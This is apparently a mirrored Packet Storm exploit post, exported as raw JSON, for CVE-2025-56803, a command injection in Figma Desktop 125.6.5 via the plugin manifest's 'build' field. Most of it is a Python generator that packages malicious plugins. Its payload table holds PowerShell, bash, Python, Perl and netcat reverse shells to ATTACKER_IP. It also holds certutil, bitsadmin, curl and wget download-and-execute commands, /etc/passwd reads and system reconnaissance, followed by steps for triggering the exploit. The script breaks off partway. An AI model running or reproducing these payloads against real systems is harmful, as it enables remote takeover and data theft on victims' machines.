{"id":31167,"date":"2025-12-15T11:42:52","date_gmt":"2025-12-15T11:42:52","guid":{"rendered":"http:\/\/localhost\/?p=31167"},"modified":"2025-12-15T11:42:52","modified_gmt":"2025-12-15T11:42:52","slug":"figma-desktop-application-12565-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31167","title":{"rendered":"\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution_PACKETSTORM:212818"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:16&#8243;,&#8221;description&#8221;:&#8221;Figma Desktop Application version 125.6.5 proof of concept remote code execution exploit that leverages the plugin manifest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Figma Desktop Application 125.6.5 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212818&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-56803&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Figma Desktop Application 125.6.5 RCE via Plugin Manifest\\n                                                                    |\\n    | # Author    : indoushka\\n                                                                    |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64\\n    bits)                                                            |\\n    | # Vendor    : https:\/\/www.figma.com\/\\n                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212249\/ \\u0026 CVE-2025-56803\\n    \\n    [+] Summary : Figma Desktop Application contains a critical OS command\\n    injection vulnerability (CVE-2025-56803) allowing remote attackers to\\n    execute arbitrary code on user systems via malicious plugins.\\n    \\n    [+]  POC : python poc.py\\n    \\n    Usage Examples\\n    \\n    # List all available payloads\\n    python exploit_generator.py &#8211;list-payloads\\n    \\n    # Quick calculator exploit for current OS\\n    python exploit_generator.py &#8211;quick-calc\\n    \\n    # Custom payload\\n    python exploit_generator.py &#8211;payload \\&#8221;notepad.exe\\&#8221; &#8211;name \\&#8221;Notepad Plugin\\&#8221;\\n    \\n    # Generate Windows reverse shell\\n    python exploit_generator.py &#8211;target windows &#8211;type reverse_shells\\n    &#8211;payload-name powershell\\n    \\n    # Generate Linux information gathering\\n    python exploit_generator.py &#8211;target linux &#8211;type information_gathering\\n    \\n    # Generate all demonstration payloads\\n    python exploit_generator.py &#8211;generate-all\\n    \\n    # Test mode (no actual plugin creation)\\n    python exploit_generator.py &#8211;payload \\&#8221;echo test\\&#8221; &#8211;test\\n    \\n    ===================================================\\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    FIGMA PLUGIN EXPLOIT &#8211; CVE-2025-56803\\n    RCE in Figma Desktop Application (v125.6.5)\\n    Author: indoushka\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import os\\n    import json\\n    import sys\\n    import argparse\\n    import zipfile\\n    import platform\\n    import subprocess\\n    import base64\\n    import hashlib\\n    import uuid\\n    import tempfile\\n    from pathlib import Path\\n    \\n    class CompleteFigmaExploit:\\n        def __init__(self):\\n            self.system = platform.system().lower()\\n            self.payload_database = self._create_payload_database()\\n            self.plugin_id = str(uuid.uuid4()).replace(&#8216;-&#8216;, &#8221;)[:16]\\n    \\n        def _create_payload_database(self):\\n            \\&#8221;\\&#8221;\\&#8221;Create comprehensive payload database\\&#8221;\\&#8221;\\&#8221;\\n            return {\\n                \\&#8221;windows\\&#8221;: {\\n                    \\&#8221;demonstration\\&#8221;: {\\n                        \\&#8221;calc\\&#8221;: \\&#8221;calc.exe\\&#8221;,\\n                        \\&#8221;notepad\\&#8221;: \\&#8221;notepad.exe\\&#8221;,\\n                        \\&#8221;message\\&#8221;: \\&#8221;msg * \\\\\\&#8221;Figma Exploit POC -\\n    CVE-2025-56803\\\\\\&#8221;\\&#8221;,\\n                        \\&#8221;sound\\&#8221;: \\&#8221;powershell -c (New-Object Media.SoundPlayer\\n    \\\\\\&#8221;C:\\\\\\\\Windows\\\\\\\\Media\\\\\\\\notify.wav\\\\\\&#8221;).PlaySync()\\&#8221;\\n                    },\\n                    \\&#8221;information_gathering\\&#8221;: {\\n                        \\&#8221;system_info\\&#8221;: \\&#8221;systeminfo \\u003e %TEMP%\\\\\\\\figma_sys.txt \\u0026\\u0026\\n    type %TEMP%\\\\\\\\figma_sys.txt\\&#8221;,\\n                        \\&#8221;network_info\\&#8221;: \\&#8221;ipconfig \/all \\u0026 netstat -ano \\u003e\\n    %TEMP%\\\\\\\\figma_net.txt \\u0026\\u0026 type %TEMP%\\\\\\\\figma_net.txt\\&#8221;,\\n                        \\&#8221;user_info\\&#8221;: \\&#8221;whoami \/all \\u0026 net users \\u003e\\n    %TEMP%\\\\\\\\figma_users.txt \\u0026\\u0026 type %TEMP%\\\\\\\\figma_users.txt\\&#8221;,\\n                        \\&#8221;process_list\\&#8221;: \\&#8221;tasklist \\u003e %TEMP%\\\\\\\\figma_process.txt\\n    \\u0026\\u0026 type %TEMP%\\\\\\\\figma_process.txt\\&#8221;\\n                    },\\n                    \\&#8221;file_operations\\&#8221;: {\\n                        \\&#8221;create_file\\&#8221;: \\&#8221;echo Figma Exploit POC \\u003e\\n    %TEMP%\\\\\\\\figma_poc.txt\\&#8221;,\\n                        \\&#8221;list_files\\&#8221;: \\&#8221;dir C:\\\\\\\\Users\\\\\\\\%USERNAME%\\\\\\\\Desktop\\&#8221;,\\n                        \\&#8221;read_file\\&#8221;: \\&#8221;type\\n    C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\hosts\\&#8221;\\n                    },\\n                    \\&#8221;reverse_shells\\&#8221;: {\\n                        \\&#8221;powershell\\&#8221;: \\&#8221;powershell -NoP -NonI -W Hidden -Exec\\n    Bypass -Command \\\\\\&#8221;$client = New-Object\\n    System.Net.Sockets.TCPClient(&#8216;ATTACKER_IP&#8217;,4444);$stream =\\n    $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =\\n    $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object\\n    -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =\\n    (iex $data 2\\u003e\\u00261 | Out-String );$sendback2 = $sendback + &#8216;PS &#8216; + (pwd).Path\\n    + &#8216;\\u003e &#8216;;$sendbyte =\\n    ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\\\\\\&#8221;\\&#8221;,\\n                        \\&#8221;nc_traditional\\&#8221;: \\&#8221;powershell -Command \\\\\\&#8221;$client =\\n    New-Object System.Net.Sockets.TCPClient(&#8216;ATTACKER_IP&#8217;,4444);$stream =\\n    $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =\\n    $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object\\n    -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =\\n    (iex $data 2\\u003e\\u00261 | Out-String );$sendback2 = $sendback + &#8216;\\u003e &#8216;;$sendbyte =\\n    ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\\\\\\&#8221;\\&#8221;\\n                    },\\n                    \\&#8221;download_execute\\&#8221;: {\\n                        \\&#8221;ps_download\\&#8221;: \\&#8221;powershell -Command \\\\\\&#8221;Invoke-WebRequest\\n    -Uri &#8216;http:\/\/ATTACKER_IP\/payload.exe&#8217; -OutFile\\n    $env:TEMP\\\\\\\\figma_payload.exe; Start-Process $env:TEMP\\\\\\\\figma_payload.exe\\\\\\&#8221;\\&#8221;,\\n                        \\&#8221;certutil\\&#8221;: \\&#8221;certutil -urlcache -split -f\\n    http:\/\/ATTACKER_IP\/payload.exe %TEMP%\\\\\\\\figma.exe \\u0026\\u0026 %TEMP%\\\\\\\\figma.exe\\&#8221;,\\n                        \\&#8221;bitsadmin\\&#8221;: \\&#8221;bitsadmin \/transfer myjob \/download\\n    \/priority high http:\/\/ATTACKER_IP\/payload.exe %TEMP%\\\\\\\\figma.exe \\u0026\\u0026\\n    %TEMP%\\\\\\\\figma.exe\\&#8221;\\n                    }\\n                },\\n                \\&#8221;linux\\&#8221;: {\\n                    \\&#8221;demonstration\\&#8221;: {\\n                        \\&#8221;xterm\\&#8221;: \\&#8221;xterm -e &#8216;echo \\\\\\&#8221;Figma Exploit POC -\\n    CVE-2025-56803\\\\\\&#8221; \\u0026\\u0026 sleep 5&#8217;\\&#8221;,\\n                        \\&#8221;zenity\\&#8221;: \\&#8221;zenity &#8211;info &#8211;text=&#8217;Figma Exploit\\n    POC\\\\\\\\nCVE-2025-56803&#8217;\\&#8221;,\\n                        \\&#8221;notify\\&#8221;: \\&#8221;notify-send &#8216;Figma Exploit&#8217; &#8216;CVE-2025-56803\\n    POC&#8217;\\&#8221;,\\n                        \\&#8221;beep\\&#8221;: \\&#8221;echo -e &#8216;\\\\\\\\a&#8217;\\&#8221;\\n                    },\\n                    \\&#8221;information_gathering\\&#8221;: {\\n                        \\&#8221;system\\&#8221;: \\&#8221;uname -a \\u003e \/tmp\/figma_sys.txt; cat\\n    \/tmp\/figma_sys.txt\\&#8221;,\\n                        \\&#8221;network\\&#8221;: \\&#8221;ifconfig \\u0026 netstat -tulpn \\u003e\\n    \/tmp\/figma_net.txt; cat \/tmp\/figma_net.txt\\&#8221;,\\n                        \\&#8221;users\\&#8221;: \\&#8221;id \\u0026 whoami \\u003e \/tmp\/figma_users.txt; cat\\n    \/tmp\/figma_users.txt\\&#8221;,\\n                        \\&#8221;processes\\&#8221;: \\&#8221;ps aux \\u003e \/tmp\/figma_ps.txt; cat\\n    \/tmp\/figma_ps.txt\\&#8221;\\n                    },\\n                    \\&#8221;file_operations\\&#8221;: {\\n                        \\&#8221;create_file\\&#8221;: \\&#8221;echo &#8216;Figma Exploit POC&#8217; \\u003e\\n    \/tmp\/figma_poc.txt\\&#8221;,\\n                        \\&#8221;list_home\\&#8221;: \\&#8221;ls -la ~\/\\&#8221;,\\n                        \\&#8221;read_file\\&#8221;: \\&#8221;cat \/etc\/passwd\\&#8221;\\n                    },\\n                    \\&#8221;reverse_shells\\&#8221;: {\\n                        \\&#8221;bash\\&#8221;: \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/ATTACKER_IP\/4444 0\\u003e\\u00261\\&#8221;,\\n                        \\&#8221;python\\&#8221;: \\&#8221;python -c &#8216;import\\n    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\&#8221;ATTACKER_IP\\\\\\&#8221;,4444));os.dup2(s.fileno(),0);\\n    os.dup2(s.fileno(),1);\\n    os.dup2(s.fileno(),2);p=subprocess.call([\\\\\\&#8221;\/bin\/sh\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;]);&#8217;\\&#8221;,\\n                        \\&#8221;perl\\&#8221;: \\&#8221;perl -e &#8216;use\\n    Socket;$i=\\\\\\&#8221;ATTACKER_IP\\\\\\&#8221;;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\\\\&#8221;tcp\\\\\\&#8221;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\\\\\\&#8221;\\u003e\\u0026S\\\\\\&#8221;);open(STDOUT,\\\\\\&#8221;\\u003e\\u0026S\\\\\\&#8221;);open(STDERR,\\\\\\&#8221;\\u003e\\u0026S\\\\\\&#8221;);exec(\\\\\\&#8221;\/bin\/sh\\n    -i\\\\\\&#8221;);};&#8217;\\&#8221;,\\n                        \\&#8221;nc\\&#8221;: \\&#8221;nc -e \/bin\/sh ATTACKER_IP 4444\\&#8221;\\n                    },\\n                    \\&#8221;download_execute\\&#8221;: {\\n                        \\&#8221;curl\\&#8221;: \\&#8221;curl http:\/\/ATTACKER_IC\/payload.sh -o\\n    \/tmp\/figma.sh \\u0026\\u0026 chmod +x \/tmp\/figma.sh \\u0026\\u0026 \/tmp\/figma.sh\\&#8221;,\\n                        \\&#8221;wget\\&#8221;: \\&#8221;wget http:\/\/ATTACKER_IP\/payload.sh -O\\n    \/tmp\/figma.sh \\u0026\\u0026 chmod +x \/tmp\/figma.sh \\u0026\\u0026 \/tmp\/figma.sh\\&#8221;\\n                    }\\n                },\\n                \\&#8221;darwin\\&#8221;: {\\n                    \\&#8221;demonstration\\&#8221;: {\\n                        \\&#8221;calculator\\&#8221;: \\&#8221;open -a Calculator\\&#8221;,\\n                        \\&#8221;textedit\\&#8221;: \\&#8221;open -a TextEdit\\&#8221;,\\n                        \\&#8221;notification\\&#8221;: \\&#8221;osascript -e &#8216;display notification\\n    \\\\\\&#8221;Figma Exploit POC\\\\\\&#8221; with title \\\\\\&#8221;CVE-2025-56803\\\\\\&#8221;&#8216;\\&#8221;,\\n                        \\&#8221;alert\\&#8221;: \\&#8221;osascript -e &#8216;tell app \\\\\\&#8221;System Events\\\\\\&#8221; to\\n    display dialog \\\\\\&#8221;Figma Exploit POC\\\\\\&#8221;&#8216;\\&#8221;,\\n                        \\&#8221;say\\&#8221;: \\&#8221;say \\\\\\&#8221;Figma exploit successful\\\\\\&#8221;\\&#8221;\\n                    },\\n                    \\&#8221;information_gathering\\&#8221;: {\\n                        \\&#8221;system\\&#8221;: \\&#8221;system_profiler SPSoftwareDataType \\u003e\\n    \/tmp\/figma_mac.txt; cat \/tmp\/figma_mac.txt\\&#8221;,\\n                        \\&#8221;network\\&#8221;: \\&#8221;ifconfig \\u0026 netstat -an \\u003e\\n    \/tmp\/figma_net_mac.txt; cat \/tmp\/figma_net_mac.txt\\&#8221;,\\n                        \\&#8221;users\\&#8221;: \\&#8221;whoami \\u0026 id \\u003e \/tmp\/figma_users_mac.txt; cat\\n    \/tmp\/figma_users_mac.txt\\&#8221;\\n                    },\\n                    \\&#8221;reverse_shells\\&#8221;: {\\n                        \\&#8221;bash\\&#8221;: \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/ATTACKER_IP\/4444 0\\u003e\\u00261\\&#8221;,\\n                        \\&#8221;python_mac\\&#8221;: \\&#8221;python -c &#8216;import\\n    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\&#8221;ATTACKER_IP\\\\\\&#8221;,4444));os.dup2(s.fileno(),0);\\n    os.dup2(s.fileno(),1);\\n    os.dup2(s.fileno(),2);p=subprocess.call([\\\\\\&#8221;\/bin\/bash\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;]);&#8217;\\&#8221;\\n                    },\\n                    \\&#8221;download_execute\\&#8221;: {\\n                        \\&#8221;curl_mac\\&#8221;: \\&#8221;curl http:\/\/ATTACKER_IP\/payload.sh -o\\n    \/tmp\/figma_mac.sh \\u0026\\u0026 chmod +x \/tmp\/figma_mac.sh \\u0026\\u0026 \/tmp\/figma_mac.sh\\&#8221;\\n                    }\\n                }\\n            }\\n    \\n        def create_manifest(self, plugin_name=\\&#8221;Demo Plugin\\&#8221;,\\n    command=\\&#8221;calc.exe\\&#8221;, plugin_id=None):\\n            \\&#8221;\\&#8221;\\&#8221;Create malicious manifest.json file content\\&#8221;\\&#8221;\\&#8221;\\n            if not plugin_id:\\n                plugin_id = self.plugin_id\\n    \\n            manifest = {\\n                \\&#8221;name\\&#8221;: plugin_name,\\n                \\&#8221;id\\&#8221;: plugin_id,\\n                \\&#8221;api\\&#8221;: \\&#8221;1.0.0\\&#8221;,\\n                \\&#8221;main\\&#8221;: \\&#8221;code.js\\&#8221;,\\n                \\&#8221;build\\&#8221;: command,  # VULNERABLE FIELD &#8211; Executed without\\n    sanitization\\n                \\&#8221;capabilities\\&#8221;: [],\\n                \\&#8221;enableProposedApi\\&#8221;: False,\\n                \\&#8221;documentAccess\\&#8221;: \\&#8221;dynamic-page\\&#8221;,\\n                \\&#8221;editorType\\&#8221;: [\\&#8221;figma\\&#8221;],\\n                \\&#8221;networkAccess\\&#8221;: {\\n                    \\&#8221;allowedDomains\\&#8221;: [\\&#8221;none\\&#8221;]\\n                }\\n            }\\n            return json.dumps(manifest, indent=2)\\n    \\n        def create_code_js(self):\\n            \\&#8221;\\&#8221;\\&#8221;Create plugin&#8217;s main JavaScript file\\&#8221;\\&#8221;\\&#8221;\\n            code = \\&#8221;\\&#8221;\\&#8221;figma.showUI(__html__, { width: 400, height: 300 });\\n    \\n    \/\/ Plugin message handler\\n    figma.ui.onmessage = async (msg) =\\u003e {\\n      switch (msg.type) {\\n        case &#8216;close&#8217;:\\n          await figma.closePlugin();\\n          break;\\n        case &#8216;notify&#8217;:\\n          figma.notify(\\&#8221;Plugin executed successfully\\&#8221;);\\n          break;\\n      }\\n    };\\n    \\n    \/\/ Auto-close after 5 seconds\\n    setTimeout(() =\\u003e {\\n      figma.closePlugin();\\n    }, 5000);\\n    \\&#8221;\\&#8221;\\&#8221;\\n            return code\\n    \\n        def create_index_html(self, payload_description):\\n            \\&#8221;\\&#8221;\\&#8221;Create HTML UI for the plugin\\&#8221;\\&#8221;\\&#8221;\\n            html = f\\&#8221;\\&#8221;\\&#8221;\\u003c!DOCTYPE html\\u003e\\n    \\u003chtml\\u003e\\n    \\u003chead\\u003e\\n        \\u003cstyle\\u003e\\n            body {{\\n                font-family: -apple-system, BlinkMacSystemFont, &#8216;Segoe UI&#8217;,\\n    Roboto, Oxygen, Ubuntu, sans-serif;\\n                margin: 0;\\n                padding: 20px;\\n                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);\\n                color: white;\\n                min-height: 300px;\\n            }}\\n            .container {{\\n                max-width: 400px;\\n                margin: 0 auto;\\n                background: rgba(255, 255, 255, 0.1);\\n                backdrop-filter: blur(10px);\\n                border-radius: 15px;\\n                padding: 25px;\\n                box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);\\n            }}\\n            h1 {{\\n                margin-top: 0;\\n                font-size: 24px;\\n                text-align: center;\\n                color: white;\\n            }}\\n            .status {{\\n                background: rgba(0, 255, 0, 0.2);\\n                border: 1px solid rgba(0, 255, 0, 0.3);\\n                padding: 15px;\\n                border-radius: 10px;\\n                margin: 20px 0;\\n                text-align: center;\\n            }}\\n            .payload-info {{\\n                background: rgba(255, 255, 255, 0.1);\\n                padding: 15px;\\n                border-radius: 10px;\\n                font-family: monospace;\\n                font-size: 12px;\\n                word-break: break-all;\\n                margin: 15px 0;\\n            }}\\n            .warning {{\\n                background: rgba(255, 100, 100, 0.2);\\n                border: 1px solid rgba(255, 100, 100, 0.3);\\n                padding: 10px;\\n                border-radius: 5px;\\n                font-size: 11px;\\n                margin-top: 20px;\\n            }}\\n            .button {{\\n                background: white;\\n                color: #667eea;\\n                border: none;\\n                padding: 10px 20px;\\n                border-radius: 5px;\\n                cursor: pointer;\\n                font-weight: bold;\\n                width: 100%;\\n                margin-top: 10px;\\n                transition: transform 0.2s;\\n            }}\\n            .button:hover {{\\n                transform: translateY(-2px);\\n            }}\\n        \\u003c\/style\\u003e\\n    \\u003c\/head\\u003e\\n    \\u003cbody\\u003e\\n        \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n            \\u003ch1\\u003e\ud83c\udfa8 Figma Plugin\\u003c\/h1\\u003e\\n    \\n            \\u003cdiv class=\\&#8221;status\\&#8221;\\u003e\\n                \u2705 Plugin loaded successfully\\n            \\u003c\/div\\u003e\\n    \\n            \\u003cp\\u003eThis plugin demonstrates a security vulnerability.\\u003c\/p\\u003e\\n    \\n            \\u003cdiv class=\\&#8221;payload-info\\&#8221;\\u003e\\n                \\u003cstrong\\u003eExecuted Payload:\\u003c\/strong\\u003e\\u003cbr\\u003e\\n                {payload_description}\\n            \\u003c\/div\\u003e\\n    \\n            \\u003cbutton class=\\&#8221;button\\&#8221;\\n    onclick=\\&#8221;window.parent.postMessage({pluginMessage: {type: &#8216;close&#8217;}}, &#8216;*&#8217;)\\&#8221;\\u003e\\n                Close Plugin\\n            \\u003c\/button\\u003e\\n    \\n            \\u003cdiv class=\\&#8221;warning\\&#8221;\\u003e\\n                \u26a0\ufe0f This is a security research demonstration for CVE-2025-56803.\\n                Use only in authorized testing environments.\\n            \\u003c\/div\\u003e\\n        \\u003c\/div\\u003e\\n    \\n        \\u003cscript\\u003e\\n            \/\/ Send loaded notification\\n            setTimeout(() =\\u003e {{\\n                window.parent.postMessage({{ pluginMessage: {{ type: &#8216;notify&#8217;\\n    }} }}, &#8216;*&#8217;);\\n            }}, 1000);\\n        \\u003c\/script\\u003e\\n    \\u003c\/body\\u003e\\n    \\u003c\/html\\u003e\\n    \\&#8221;\\&#8221;\\&#8221;\\n            return html\\n    \\n        def create_plugin_package(self, output_dir, plugin_name, command):\\n            \\&#8221;\\&#8221;\\&#8221;Create complete plugin package\\&#8221;\\&#8221;\\&#8221;\\n            os.makedirs(output_dir, exist_ok=True)\\n            os.makedirs(os.path.join(output_dir, \\&#8221;ui\\&#8221;), exist_ok=True)\\n    \\n            # Create manifest.json\\n            manifest_content = self.create_manifest(plugin_name, command)\\n            manifest_path = os.path.join(output_dir, \\&#8221;manifest.json\\&#8221;)\\n            with open(manifest_path, \\&#8221;w\\&#8221;) as f:\\n                f.write(manifest_content)\\n    \\n            # Create code.js\\n            code_content = self.create_code_js()\\n            code_path = os.path.join(output_dir, \\&#8221;code.js\\&#8221;)\\n            with open(code_path, \\&#8221;w\\&#8221;) as f:\\n                f.write(code_content)\\n    \\n            # Create index.html\\n            html_content = self.create_index_html(command)\\n            html_path = os.path.join(output_dir, \\&#8221;ui\\&#8221;, \\&#8221;index.html\\&#8221;)\\n            with open(html_path, \\&#8221;w\\&#8221;) as f:\\n                f.write(html_content)\\n    \\n            print(f\\&#8221;[+] Created plugin directory: {output_dir}\\&#8221;)\\n            print(f\\&#8221;[+] Manifest created: {manifest_path}\\&#8221;)\\n            print(f\\&#8221;[+] Payload command: {command}\\&#8221;)\\n    \\n            return output_dir\\n    \\n        def create_zip_package(self, plugin_dir, zip_name=None):\\n            \\&#8221;\\&#8221;\\&#8221;Create ZIP package for distribution\\&#8221;\\&#8221;\\&#8221;\\n            if not zip_name:\\n                zip_name = f\\&#8221;figma_plugin_{self.plugin_id}.zip\\&#8221;\\n    \\n            with zipfile.ZipFile(zip_name, &#8216;w&#8217;, zipfile.ZIP_DEFLATED) as zipf:\\n                for root, dirs, files in os.walk(plugin_dir):\\n                    for file in files:\\n                        file_path = os.path.join(root, file)\\n                        arcname = os.path.relpath(file_path, plugin_dir)\\n                        zipf.write(file_path, arcname)\\n    \\n            print(f\\&#8221;[+] Created ZIP package: {zip_name}\\&#8221;)\\n            return zip_name\\n    \\n        def list_payloads(self):\\n            \\&#8221;\\&#8221;\\&#8221;List all available payloads\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;=\\&#8221; * 80)\\n            print(\\&#8221;AVAILABLE PAYLOADS\\&#8221;)\\n            print(\\&#8221;=\\&#8221; * 80)\\n    \\n            for os_type, categories in self.payload_database.items():\\n                print(f\\&#8221;\\\\n[{os_type.upper()}]\\&#8221;)\\n                print(\\&#8221;-\\&#8221; * 40)\\n    \\n                for category, payloads in categories.items():\\n                    print(f\\&#8221;\\\\n  {category.replace(&#8216;_&#8217;, &#8216; &#8216;).title()}:\\&#8221;)\\n                    for name, cmd in payloads.items():\\n                        print(f\\&#8221;    \u2022 {name}: {cmd[:80]}&#8230;\\&#8221;)\\n    \\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 80)\\n    \\n        def test_command_local(self, command):\\n            \\&#8221;\\&#8221;\\&#8221;Test command locally (safe mode)\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Testing command: {command}\\&#8221;)\\n            print(\\&#8221;[*] Running in SAFE MODE &#8211; no actual execution\\&#8221;)\\n            print(f\\&#8221;[*] Would execute: {command}\\&#8221;)\\n    \\n            # Parse command for analysis\\n            dangerous_chars = [&#8216;\\u0026&#8217;, &#8216;|&#8217;, &#8216;;&#8217;, &#8216;`&#8217;, &#8216;$&#8217;, &#8216;(&#8216;, &#8216;)&#8217;, &#8216;\\u003c&#8217;, &#8216;\\u003e&#8217;]\\n            found_dangerous = [c for c in dangerous_chars if c in command]\\n    \\n            if found_dangerous:\\n                print(f\\&#8221;[!] Contains dangerous characters: {found_dangerous}\\&#8221;)\\n    \\n            return True\\n    \\n        def generate_for_target(self, target_os=None,\\n    payload_type=\\&#8221;demonstration\\&#8221;, payload_name=None):\\n            \\&#8221;\\&#8221;\\&#8221;Generate plugin for specific target\\&#8221;\\&#8221;\\&#8221;\\n            if not target_os:\\n                target_os = self.system\\n    \\n            if target_os not in self.payload_database:\\n                print(f\\&#8221;[-] No payloads for OS: {target_os}\\&#8221;)\\n                return None\\n    \\n            if payload_type not in self.payload_database[target_os]:\\n                print(f\\&#8221;[-] No payloads of type: {payload_type}\\&#8221;)\\n                return None\\n    \\n            if payload_name:\\n                if payload_name in\\n    self.payload_database[target_os][payload_type]:\\n                    command =\\n    self.payload_database[target_os][payload_type][payload_name]\\n                else:\\n                    print(f\\&#8221;[-] Payload &#8216;{payload_name}&#8217; not found\\&#8221;)\\n                    return None\\n            else:\\n                # Get first payload in category\\n                command =\\n    list(self.payload_database[target_os][payload_type].values())[0]\\n    \\n            return command\\n    \\n        def create_quick_exploit(self, command=\\&#8221;calc.exe\\&#8221;, plugin_name=\\&#8221;Figma\\n    Demo\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;Quick exploit creation\\&#8221;\\&#8221;\\&#8221;\\n            temp_dir = tempfile.mkdtemp(prefix=\\&#8221;figma_exploit_\\&#8221;)\\n    \\n            print(\\&#8221;[+] Creating quick exploit&#8230;\\&#8221;)\\n            plugin_dir = self.create_plugin_package(temp_dir, plugin_name,\\n    command)\\n            zip_file = self.create_zip_package(plugin_dir)\\n    \\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 80)\\n            print(\\&#8221;EXPLOIT CREATED SUCCESSFULLY\\&#8221;)\\n            print(\\&#8221;=\\&#8221; * 80)\\n            print(f\\&#8221;Plugin Name: {plugin_name}\\&#8221;)\\n            print(f\\&#8221;Command: {command}\\&#8221;)\\n            print(f\\&#8221;Plugin ID: {self.plugin_id}\\&#8221;)\\n            print(f\\&#8221;ZIP File: {zip_file}\\&#8221;)\\n            print(\\&#8221;\\\\nInstructions:\\&#8221;)\\n            print(\\&#8221;1. Open Figma Desktop (v125.6.5 or earlier)\\&#8221;)\\n            print(\\&#8221;2. Go to Plugins \u2192 Development \u2192 &#8216;Import plugin from\\n    manifest&#8230;&#8217;\\&#8221;)\\n            print(\\&#8221;3. Select the manifest.json file\\&#8221;)\\n            print(\\&#8221;4. The command will execute immediately\\&#8221;)\\n            print(\\&#8221;=\\&#8221; * 80)\\n    \\n            return zip_file\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;Figma Plugin OS Command Injection Exploit -\\n    CVE-2025-56803\\&#8221;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    Examples:\\n      %(prog)s &#8211;list-payloads\\n      %(prog)s &#8211;quick-calc\\n      %(prog)s &#8211;payload \\&#8221;calc.exe\\&#8221; &#8211;name \\&#8221;Calculator\\&#8221;\\n      %(prog)s &#8211;target windows &#8211;type reverse_shells &#8211;payload powershell\\n      %(prog)s &#8211;generate-all\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n    \\n        parser.add_argument(\\&#8221;&#8211;list-payloads\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;List\\n    all available payloads\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;quick-calc\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Quick\\n    calculator exploit (Windows)\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;payload\\&#8221;, type=str, help=\\&#8221;Custom command to\\n    execute\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;name\\&#8221;, type=str, default=\\&#8221;Figma Demo Plugin\\&#8221;,\\n    help=\\&#8221;Plugin name\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;target\\&#8221;, choices=[&#8216;windows&#8217;, &#8216;linux&#8217;, &#8216;darwin&#8217;],\\n    help=\\&#8221;Target OS\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;type\\&#8221;, choices=[&#8216;demonstration&#8217;,\\n    &#8216;information_gathering&#8217;, &#8216;reverse_shells&#8217;, &#8216;download_execute&#8217;,\\n    &#8216;file_operations&#8217;], help=\\&#8221;Payload type\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;payload-name\\&#8221;, type=str, help=\\&#8221;Specific payload\\n    name\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;generate-all\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n    help=\\&#8221;Generate all demonstration payloads\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;test\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Test mode (no\\n    actual plugin creation)\\&#8221;)\\n    \\n        args = parser.parse_args()\\n    \\n        exploit = CompleteFigmaExploit()\\n    \\n        print(\\&#8221;\\&#8221;\\&#8221;\\n        